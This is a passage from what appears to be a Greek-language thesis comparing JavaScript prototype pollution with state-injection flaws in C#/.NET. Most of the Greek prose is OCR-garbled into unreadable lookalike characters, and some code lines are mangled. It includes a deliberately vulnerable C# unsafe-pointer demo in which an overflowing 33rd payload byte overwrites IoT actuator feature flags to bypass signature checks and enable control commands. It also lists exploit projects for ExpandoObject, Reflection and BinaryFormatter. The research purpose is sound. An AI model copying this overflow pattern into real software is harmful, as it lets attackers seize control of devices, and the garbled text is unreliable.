va Stafacet/ypagel aneuBeiag o pvApn. Auto Sivel peyahn LoxV Kat toxutnto, oAAd
TauToOXpOova avalpel tnv npootacia tou CLR, adrivovtag to Bapoc tng opbng Staxeiplong

LUV UNG OTOV TIPOYPOUUOTLOTH.

H xprion pointers otnv C# lval TepLOPLOUEVN Kal XPELALETOL pNTH EVEPYOTIOLNGON E
compiler flag (/unsafe) nj project configuration.



3.4.2. Xpnon

Itn C#, ol pointers kat To unsafe keyword xpnotwuomnotlouvtal oravia KaBwe oL TEPLOCOTEPEC
avaykeg kaAumrovtal and to CLR. NMapoAa autd, uTapxouv oevapLa OTIOU oL pointers gival
XPNOLUOL 1) KoL avaykaiol, kaBwg mpoodEpouv TaxUTNTA KAl AUECO EAEYXO MVNUNG:

1. Enefepyacio ypadkwv Kal ELKOVOG
o Xpnon pointers yla aneuBeilag npooPfaocn oe pixel data.

o Xpelaletal m.y. oe libraries 6nwg to System.Drawing rj o€ game engines mou
amattouv oAU ypryopn enefepyaocia elkovac/pivieo.

2. Interoperability pe unmanaged kw&ika

o Otav yivetal kArjon o€ APIs twv Windows (WinAPI) 1} oe e€wteplkég native
BLBAL0ONKeC ypappéveg o C/C++, pointers xpnotponolovvtal yla va
niepacouv raw buffers r} Souég dedopévwv.

3. Awayxeipon peydAwv oykwv edopnévwy / Messaging

o 2e edapuoyEG mou eneepyalovtal Hallka pnvupata (.. diktuo, loT,
telemetry), pointers pmopouv va emnitayxUvouv tnv enetepyacia anod byte

arrays.

o XPNOLUo Og ogvApLA OTIOU N aMoSoTIKOTNTA ElvalL Kplowun Kot Sev umopel va
otnpBel povo oe high-level serialization.

4. High-performance untoAoyiopoi

o AMyoplBpuol tou analtouv apeon mpocBaaon otn pvhAun (m.x. scientific
computing, kpurttoypadia, emeepyacio onuATwvY).

5. Low-level Asttoupyieg o€ cuotipata

o Edappoyég mou aAAnAemudpouv pe hardware (drivers, eldikd epyadeia

monitoring).
o Xpron pointers yla aneuBeiog memory mapping.

ZUuVoALKQ, N xprion pointers otn C# meplopiletal og ELOLIKEG MEPUTTWOELG OTOU N anodoon A n

apeon Sdlaxeiplon pvnung ivat kpioun.



3.4.3. loT Actuation / Unauthorized Control

3.4.3.1. Zevdplo

‘Eotw €vag loT actuator mou oTéAveL PETPOELS TPOG Eva endpoint Tou server. To
OUYKEKPLUEVO endpoint SExETAL TEPAOTLO OYKO QO ELOEPXOMEVEG KANCELG, ATO TTOAAOUG
actuators. To povtélo mou d€xetal To endpoint amoteAeital amno to Payload (uétpnon) kat
AavBaopuéva ano to FeatureFlags, To omoio kavovikd & Ba Empeme va eival ekteBelpévo. To
FeatureFlags kaBopilel av n cuokeun eivat monitor-only ) control-enabled. MNa ya
KaAutepn amodoon, To endpoint xpnowuomnolet unsafe keyword kat fixed buffer yia ypriyopn
avtypadn Twv dedopévwy Tou unvupatoc. Eva overflow tou payload pmopet va ypaet
navw oto FeatureFlags kat va evepyomnotioet AllowControl (kat/r SkipSignatureCheck), pe
QmoTEAEoUA N €€0UCLOSOTNUEVN EVEPYELQ.

Kwéikag

. using System.Runtime.InteropServices;

1
2.
3. /// <summary>

4. /// Represents a message sent from an IoT actuator device.

5. /// Contains a fixed-size payload and feature flags for server policy.
6. /// </summary>

7. [StructLayout(LayoutKind.Sequential, Pack = 1)]

8. public unsafe struct ActuatorMessage

9. {

10. /// <summary>

11. /// Payload buffer (32 bytes) for actuator metrics.
12. /// </summary>

13. public fixed byte Payload[32];

14.

15. /// <summary>

16. /// Feature flags controlling server-side policies.
17. /// bit@ = SkipSignatureCheck, bitl = AllowControl
18. /// </summary>

19. public uint FeatureFlags;

20. }

21.

22. /// <summary>

23. /// Defines bitmask constants for actuator feature flags.
24. /// </summary>

25. public static class FeatureBits

26. {

27. /// <summary>

28. /// Flag to skip signature check (bit 9).
29. /// </summary>

30. public const uint SkipSignatureCheck = 1u << 9;
31.

32. /// <summary>

33. /// Flag to allow control commands (bit 1).
34. /// </summary>

35. public const uint AllowControl = 1u << 1;
36. }

37.

38. /// <summary>

39. /// Receives actuator data and imports it into ActuatorMessage.
40. /// </summary>

41. public static class Consumer

42. |

43. /// <summary>




44, /17

Imports actuator payload data into the ActuatorMessage struct.

45. /// Unsafe: Direct memory copy using pointers, can overflow if input is too large.
46. /// </summary>

47. /// <param name="rec">Reference to ActuatorMessage to populate.</param>

48. /// <param name="input">Incoming payload data from actuator.</param>

49. public static unsafe void ImportActuatorValue(ref ActuatorMessage rec, byte[] input)
50. {

51. fixed (ActuatorMessage* pRec = &rec)

52.
53.

54.

55.

56.

57.

58. }
59. }

60.

fixed (byte* pIn = input)

{
byte* pDst = pRec->Payload;
for (int i = @0; i < input.Length; i++)
pDst[i] = pIn[i];
}

61. /// <summary>

62. /// Routes commands to actuators based on feature flags and automation rules.
63. /// </summary>

64. public static class CommandRouter

65. {

66. /// <summary>

67. /// Sends a command to the actuator if the AllowControl policy is enabled.
68. /// </summary>

69. /// <param name="featureFlags">Feature flags from ActuatorMessage.</param>
70. /// <param name="command">Command string to send.</param>

71. public static void SendCommandIfAllowed(uint featureFlags, string command)
72. {

73. bool allow = (featureFlags & FeatureBits.AllowControl) != 0;

74. if (lallow)

75. {

76. Console.WriteLine("Command blocked (monitor-only policy).");

77. return;

78. }

79. Console.WriteLine($"Command sent: {command}");

80. }

81.

82. /// <summary>

83. /// Example automation rule: triggers fan if temperature exceeds 30°C and control is
allowed.

84. /// </summary>

85. /// <param name="tempCelsius">Current temperature in Celsius.</param>

86. /// <param name="featureFlags">Feature flags from ActuatorMessage.</param>
87. public static void Automation(double tempCelsius, uint featureFlags)

88. {

89. if (tempCelsius > 30 && (featureFlags & FeatureBits.AllowControl) != @)
90. {

91. Console.WriteLine("Automation: Temp>30 -> StartFan");

92. }

93. }

94. }

95.

96. /// <summary>

97. /// Demonstrates unsafe payload import and command routing for actuator messages.
98. /// </summary>

99. public static class Demo

100. {

101. /// <summary>

102. /// Entry point: simulates receiving actuator data, imports payload, and routes
commands.

103. /// </summary>

104. public static unsafe void Main()

105. {

106. var message = new ActuatorMessage { FeatureFlags = 0 };

107.

108. // Represents the incoming Payload from Actuator

109. var payload = new byte[33];

11e. for (int i = @; i < 32; i++)

111. payload[i] = ox41; // dummy values that represent the metrics from the Actuator




112. payload[32] = 0x03; // extra byte that overflows

113.

114. // Gets the data from the actuator and passes it to ActuatorMessage
115. // After this point the pollution has already taken place

116. Consumer.ImportActuatorValue(ref message, payload);

117.

118. Console.WriteLine($"After : FeatureFlags=0x{message.FeatureFlags:X}");
119.

120. // Dummy commands to demonstrate policy bypass and exploitation
121. CommandRouter.SendCommandIfAllowed (message.FeatureFlags, "CloseValve");
122. CommandRouter.Automation(31.5, message.FeatureFlags);

123. }

124. }

125.

210 napadetypa to payload avamaplotd tnv TN TG LETPNONG Ttou Ba epxdTav amod Tov
actuator, to omoio Ba Ntav éva byte array kot To message avamapLOTA TOV ECWTEPLKO XWPO
HUVAUNG Tou server. To mpoBAnuaTiko onueio eival péoa otnv ImportActuatorValue(), tnv
omnola Ba kahovoe to Endpoint yla va anoBbnkeloel ta dedopéva kat n onola ypadetl OAa Ta
bytes avti yia ta mpwta 32 povo. To 33° eivat auto mou kavel overflow kat ypadel mavw oto
FeatureFlags, evepyomnowwvtag £tol ta AllowControl kat SkipSignatureCheck. Meta ot
SendCommandIfAllowed() kat Automation() avamaptotolv commands Tou Kavovika &g Ba
€tpexav av Sev eixe yivel to overflow. Autd ta 2 commands ekteAoUvTaL o€ 2° xpovo,
adotou aAAo component Tou server SlaBAaocel To LOAUGHEVO state.

Microsoft Visual Studio Debwy X +

After : FeatureFlags=0x3

Command sent: CloseValve
Automation: Temp=3@ -> StartFan

Figure 14: Command kat Automation rtou €tpeéav otov Actuator

Y€ aUTO To Ttapadelypa, auto to overflow Ba pmopouaoe va mpokAnBel Tuxaia aAAG Ba
Umopouoe va eival Kal okomipo. Kamolog rou Ba eixe mpocPaon eite otov actuator ite oto
endpoint Ba pmopouoe va oteilel €éva T€Tolo byte stream mou va emnpeAoEL e TOV TPOTO
miou B€AeL TV cuumnepldopd tou actuator.

3.4.3.2. Opolotnteg

H xprion pointers kat unsafe blocks otn C# cuvdéetal pe to prototype pollution péow tng
£€vvolog Tou state injection. Zto pollution, éva key omwc proto pmopel va eloayayet
KakOBoUuAn property mou aAAGZeL Tn HeAAOVTLKA cupmepldopad. IToug pointers, éva overflow




uropet va ypa et mavw ot bit flags N kplowpeg petaBAntég (m.x. AllowControl,
SkipSignatureCheck), petafaliovrag eniong tn Aoyikn tng edbapuoyns. Kat otig Suo
TIEPUTTWOELG, N apxkn elcodog daivetatl abBwa (JSON input ) byte array), aAAG TeAKA
emudépel alloilwaon Tou state mou yivetal avTtiAnmtr apyotepa, Otav KAarmola aAAn
ouvaptnon Baclotel TG LOAUCHEVES TIMEG. H kaBuotépnon autr dnuoupyel éva pollution-
like amotéAeopa.

3.4.3.3. Atadopég

H Stadopa eival otiL ol pointers mpokaAouv buffer overflow kat aAAoiwon otn Soun Twv
objects. H ekpetdAAeuvon npolmobétel akplpn yvwon tng Statagng SeSo0Uévwy oTn HVALN
Kol TToOAU ouykekpLpévo overflow, evw To prototype pollution pmopet va emiteuyBet pe tnv
amAn eloaywyn evog JSON property. Emiong, ot pointers emnpealouv xapnAo eninedo tou
TIPOYPAUUATOG, LE CUVETIELEG TTIOU UMOPEL VA ELvalL TILO KATAOTPOPIKEC (TL.X. bypass MOAITIKWV
aodaleiag, aAloiwon device states), aAAd gv €xouv TNV euKoALA Kal TNV KABOAKOTNTA TNG
JavaScript. H poAuvon eival Tomikn Kot TexVika SUoKoAn otnv ektéAeon, aAAd TILo LoxXupN,
adou pnopel va mapakapP el pnxaviopoug ou Bpiokovtal Babutepa amnd to application
logic. Etol, evw To prototype pollution givat o eUkoAa ekpeTaAAel oo, TO pointer-based
overflow pmopel va €xel coBapOTEPEG EMUMTTWOELSG OTaV ek&NAWOEL.

3.4.4. Avtipetwrion

e Separation of Concerns
O pointer-based parser npénel va ypadel amokAeloTikd o “data-only” buffers.
Oténnote adopa kpiowo state e Ba Enpene va eival oto i6lo eninmedo Soung n
object. Mg autd Tov SlaxwpLopd, akoun kot av npokuy el overflow, n emibpaon
neplopiletal oe un Kplowa dedopéva.

e Neploplopdcg unsafe blocks
H xprion pointers va meplopiletal povo oe pikpa blocks, émou xpelaletat 6vtwg yla
va ylvel n xprion pointers. Otérmote GAAo va €ival KTOC Kot va Staxelpiletal anod 1o
CLR.

o ’'EAeyxog pey£0oug input
KaBe pointer write odeilel va deopeleTal amo auotnpo PEyebog kat va ypadeL Lovo
Tov akpLBn aplBuod twv bytes. To péyebocg tou input Sev mMpPEMeL va EETEPVAEL TTOTE TO
uéyebog tou buffer. To umdAouno tou buffer va undeviletal wote va anodevyovtat
KATAAOLUTA TTPONYOULEVWY XPOEWV.

e Audtagn pviung



Onwg avadépOnke, To LOAVLKO Ba NTAV VoL UTIAPXOUV EEXWPLOTEG SOUEC yLa Ta
Sebopéva TTou elodyovTal Kal yla Ta TiLo Kpiowua states. AAAG oTnv EPLITTWON TToU
Sev unopel va yivel auto, Ba €mpere va umapyeL kamolo padding avapeoa ota
Kplowua Kal pn kplowua properties.

3.4.5. Juunepaopata

H xprion pointers otn CH# eivat Bepith kal cuxva avaykaio yia unAn anddoon f akpLBEg
interop, aAAd €L0AYEL TO PLOKO TNG AUEONC TPOTIOTIONONG LVAUNG. To {ntoupevo Sev elval n
anoduyn Twv pointers, oAAA N AMOUOVWOT) TOUG 0€ KOAQ 0pLOBETNUEVA TUAMOTA KWELIKO KoL
n emBoAr avotnpwv opiwv oe kABe eyypadn. Ta HETpa TTOU avadEpBnKav MPETEL va
TNPOUVTOL CUCTNHOTLKA, WOTE N APXLTEKTOVLIKH va dlatnpel Ta odEAN mou mpoodEpouv oL
pointers xwplg va eKBETEL TNV ETXELPNOLAKN AOYLKN O€ state injection péow overflow tng

MVARNG.

IXETIKA Ue To prototype pollution, mapdtL ol SU0 Katnyopleg €xouv SoULKEG SladopEg wg
TPOG TNV aLtia Kal Tov LnXaviouo (prototype chain évavtt memory overflow), oL EMIMTWOELG
TOUC OUYKALVOUV: Kal OTLG SUO TTEPUTTWOELG TapaTnpEital state injection mou aAAoLwveL
HETayEVEOTEPEG anodAceLg TNG epappoyng. H melBapxnuévn xprion pointers, oe
ouvOUAOUO UE TO TIPOTEWVOUEVA HETPA, TIPOODEPEL EVAL CUVEKTIKO TTAQLOLO GUUVAC QTTEVAVTL
o€ auTéq TiS pollution-like cupmnepidopéc.



4. JUUTIEPAOLATOL

H mapouoa epyacia aocxoAnbnke e TNV avaAuon Kat uAomoinon emBécewv TUTIOU
Prototype Pollution kaBwg kat pe tnv avalitnon avtiotoywyv potifwy eundbelag otn
C#/.NET. 100G NTav amo tn pia va Sleukpvlotel n dpuon tng eunabelag otn JavaScript kalt
oo tnv AAAN va e€ETAOTEL KATA TTOCO OVTIOTOLXEC TEXVIKEC UITOPOUV VA EUdAVIOTOUV O€
SOUEG KOl unxaviopoug tng CH.

H pelétn €6¢eL€e 6tL n JavaScript, Adyw t™¢ Soung tng Bactopévng oto prototype-based
inheritance, emwtpénel Tnv kaBoAwr aAloiwaon Tng prototype chain. Autod onuaivel Twg éva
KakoBoulo input, péow properties Ow¢ To __proto_, Unmopet va LOAUVEL TO
Object.prototype, ennpealovtag 0Aa ta objects mou to KAnpovououv. ETol, amAég eVEPYELEG
TOU eMTIBEUEVOUL, OTIWG N EloaywYH €VOG key e N aVOEVOEVO OVOUQ, UTTOPOUV Vo £XOUV
ocoPoapéc ouvéneleg, neplhapPBavovtag Privilege Escalation, Denial of Service, akopa kot
Remote Code Execution. To prototype pollution emopévwg amoteAel XapoKTNPLOTIKO
TIPASELY O TOU TIWCE O OXESLACUOG HLaG YAWOOOG, UTOPEL val SNULOUPYROEL GNUOVTIKA
npoBAnuata achaielog.

AvtiBeta, otn C# 6ev umapxel avtiotolyn doun pe prototype chain, kaBwg n y\wooa
otnpiletal o class-based inheritance. Auto onuaivel mwg dev pmopet va untapéel kabapo
prototype pollution. Qotdc0, N avaAucn Mmou payaTonoL|OnKe anokaAuPe OTL UTIAPXOUV
HUNXQVLOUOL e TTapopoLa ETUKLVEUVOTNTA, OL OToloL EMITPEMOUY state injection o objects
KOTA TO runtime. EVOEIKTIKA:

e ExpandoObject: Mapéxel peyain sveliéia otnv mpocOikn KaL tpomonoinon
properties o€ MPAyHATLKO XpOvo. Av cuvluaoTel pe kaKOBouAo input, umopet va
eTUTPEPEL O€ €vav XPNoTn va eLoAyeL properties ou n ebappoyn dev avepeve (m.x.
isAdmin). Av ta dedopéva autd SladoBouv, evdéxetal va odnyrioouv os mapafioon
UNXaVIoPWV e€0uclodoTnong N aAAolwon EMIXELPNOLAKWY KOVOVWVY. Mropel emiong
va untapéel DoS oe mepintwon HeEyAAoU Oykou Se80UEVWV.

e Reflection: H xprjon tou yla auto-binding o€ objects Bdoel ovopdtwyv properties
uropet va emutpeel tnv eyypadn oe evaicdnta [ akdopa kat un dnuoota nedia
(NonPublic). Auto dnuoupyet kivduvo state injection, pe cuvéneleg onwg privilege
escalation ] evepyomnoinon anevepyomolnuEVwWY AELTOUPYLWV.

e Deserialization: & mepumtwoelg OmoU xpnolponolouvtal un acdaleig serializers (m.x.
BinaryFormatter), n éAAeupn eAéyxou pmopel va 0dnynoeL o ektéAeon KakOBouAwv
gadget chains katd to deserialization. Mpokettal yla éva and ta cofapdtepa
oevapla, KaBwg pumopel va Swaoel otov emitiBgpevo tn Suvatotnta Remote Code
Execution.



Unsafe code kat pointers: MapoAo mou eivat Alydtepo cuvnBLopéva, N XpHon Toug os
ouvduaouo e eloepxopeva Sedopéva pumopel va odnynoel oe buffer overflow pe
TLOAAEG SLODOPETIKEG ETUMTWOELS AVOAOYWCE TNV MEPLTTWON.

Ao Ta mopanavw TPOKUTITOUV OPLOUEVO CNUAVTLKA CUUTEPACUOTO:

1. Ouowotntec: Kat ota duo meptfarAovta (JavaScript kat C#), n Baoikn 16€a tng

gunaBeLaG oxeTIleTAL PE TO OTL N eAeypéva SeSopéva xprotn yivovtal SeKTa Kot
EVOWUOTWVOVTAL 0€ objects e Tpomo mou dev eixe mpoPAedOel amnod tov
nipoypappatiotr. To anotéAeopa eival ouvnBwg state injection, to omoio pnopet va
obnynoel kat va aflomolnBel os emBEoeLC.

Awadopéc: 2tn JavaScript, To mpoPANUa eivot SOUKO Kol EVOWHATWHEVO 0T YAwooa
AOyw tn¢ prototype chain. Itn C#, avtiBeta, to mpoPAnua eival kabapad Bua
uAomoinong, mpokUmTel SNAad Ao eMIAOYEC KAl KOKEG TIPAKTLKEG TOU
npoypappatioty (m.x. anouvoia whitelist, xprjon NonPublic setters, emiloyn
erukivbuvwy serializers). Emopévwe, evw otn JavaScript n 8ta n y\wooo amoteAel tnv
attia tng eumabelag, otn CH oL KOKEG TIPAKTIKEG (VAL AUTEG TTOU TTPOKAAOUV
pollution-like oevapia.

Erukwvduvotnta: Napad tig Stadopéc, Ta anoteAéopata Pnopei va ivat e€ioou
cofapad kat oTig SVo neputtwoelC. |6iwg to Reflection kat To Deserialization oto .NET
elvat blattepa emikivbuva, kabBwg prnopouv va 0dnynoouv os aAloiwaon Kpioluwy
6eb60UEVWY 1) aKOUA Kal 0 EAEYXO TOU OUOTHHATOC Ao TPLTouC.

Ao tnv epyacia mpokUMTEL OTL aveaptnTwe YAwooog ) framework umapyeL avaykn yla

KOWEC neBodouc aodalieiag, omwc to input validation, n xprijon strongly-typed douwv, n

arntoduyn erukivbuvwy serializers kat n eAaxlotonoinon ¢ xpriong dynamic tumwv.

ErumA€ov, mpokUTITEL OTL TTIOAAEG eTBECELG odeilovTal 0L otny idla tn yAwooa aAAd o€

AavOAOUEVEC TIPOYPAUUATIOTIKEC ETILAOYEC.

MNa peAlovtikn €peuva, Ba eixe evéladépov:

H peAétn tou ocuvduaopou pollution-like emiBéoswv pe AAAeC katnyopieg eumabelwv
(r.x. SQL Injection, XSS) wote va katavonBetl mw¢ cuvduaoTIKA UIopoUuV va
eTbEpPouV PeyaAUTepn {nuLA.

H &iepelivnon pollution-like potifwv kat oe AAAEG YAWOOEG e SUVAULKA
XOPAKTNPLOTIKA (T.X. Python, Ruby, PHP), woTe va mpoKUEL pLOl GUYKPLTLKA
Bewpnon oe eninedo yAwoowv.

H evowpdtwon mpakTikwyv acPalols TPoypaUUATIOMOU ELSIKA TIPOCUPHOCUEVWV
oto .NET owooUoTNHa, UE OTOXO TNV TPOANYN TWV MOPATIAVW KVSUVWV.



Yuvoyilovtag, n epyacia €del€e OtL, mapotL n CH dev elval eyyevwe eVAAWTN o€ prototype
pollution, SLaBETel apKETOUC LNXAVIOUOUG TTOU UITopoUV val 086Ny o0oUV OE TIAPOOLEG
Hopd£g state injection. To yeyovog autd Tovilel To 0TL n aodaAela Aoylopkol dev e€aptatat
HOVO amo TN YAwooa, 0AAA MPWTIoTWE armod TIG TPAKTIKEG TTou akoAouBouv ot developers. H
katavonon kot amogpuyn twv pollution-like potiBwv pnopel va anoteAéoel kpioluo Brpa
TPOG TNV AvATITUEnN 1o a.oPaAwv ePaPUOYWV, O EVOV KOOLO OTIOU OL EMOECEL CUVEXWC
e€ellooovtal.
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MNopaptnua B — Ag€ko

Gadget
‘Eva KOUUATL KwSLKa TTou pmopel va aglomonBel amnod évav emUTIOEUEVO yLa VoL EKTEAEDEL
avemBUUNTEG eVEPYELEG, ouvnBwg o aluaibeg exploit (r.x. gadget chains).

Sink
Inueio otov kwdika 6mou kataAryouv ta dedopéva Kal Umopel va mpokAnBel kamola
eTUKIVOUVN evépyela (TL.X. EKTEAEDN €VTOANG, eyypadn o€ apxeio).

State injection
H eloaywyn f Tpomomnoinon tng E0WTEPLIKAG KATACTAONG MLOG EGAPUOYNG LECW
KaKOBOUAwWV Sedopévwy.

POCO (Plain Old CLR Object)
AmAn kAaon CH xwpls e€aptrioelg anod frameworks f €L6IKA XAPAKTNPLOTLKA.

Automapping
H autopatn avtiotoixion (mapping) mediwv HeTAfU SU0 AVTIKELUEVWV LIE TIOPOOLEC
dLotntec.

Model binding
H Stadikaoia pe Tnv omola €va framework avtiotoulyilel Sedopéva eloodou (m.x. amo
request) o€ AVTIKEILEVO/TIAPOAUETPOUC LA EPAPUOYNC.

Webhooks
Mnxoviopog omou pa ebappoyn otéAvel avtopata HTTP requests oe GAAN epapuoyn
otav cupBel kamoLo yeyovoc.

DTO (Data Transfer Object)
AVTIKE{PEVO TTOU XpnOLUoTIoLETAL HOVO Yia petadopd Sedopévwy, xwplc Aoyiki N
ocuuneplpopa.

CLR (Common Language Runtime)
To nepBarAov ektéAeong tou .NET, mou Slaxelpiletal pvnun, achaAela Kal EKTEAECN
KwS KA.

Actuator

Ye éva loT cuotnua évag Actuator ival €va LnXavnUo TToU UIMOPEL VAL OTEAVEL LETPHOELG
O€ KATIOLOV Sserver Kal va SEXETAL ONUOTO UE EVTOAEC YLOL VOL TIPAY LOTOTIOL OEL KATIOLOL
evépyela. [24]



Noapaptnua I — Texviko MNapaptnua

ExpandoObject Exploit
(Mass Assighment)

Solution: PollutionInCSharp
Project: ExpandoObjectPollution
Project Type: ASP.NET Core Web API
Target Framework: .NET 8.0

ExpandoObject Exploit

DoS
Solution: PollutionInCSharp
Project: ExpandoObjectDoS
Project Type: Console Application
Target Framework: .NET 8.0

Reflection Exploit

Solution: PollutionInCSharp
Project: ReflectionPollution
Project Type: ASP.NET Core Web API
Target Framework: .NET 8.0

Unsafe & Pointers Exploit

Solution: PollutionInCSharp
Project: ExpandoObjectPollution
Project Type: Console App

Target Framework: .NET 8.0

BinaryFormatter Exploit

Solution: VulnerableApp

Project: BianryFormatterExploit
Project Type: Console App

Target Framework: .NET Framework 4.8

Newtonsoft Exploit

Solution: VulnerableApp

Project: NewtonSoftinsecureDeserialization
Project Type: Console App

Target Framework: .NET Framework 4.8

Nuget Packages: Newtonsoft.Json
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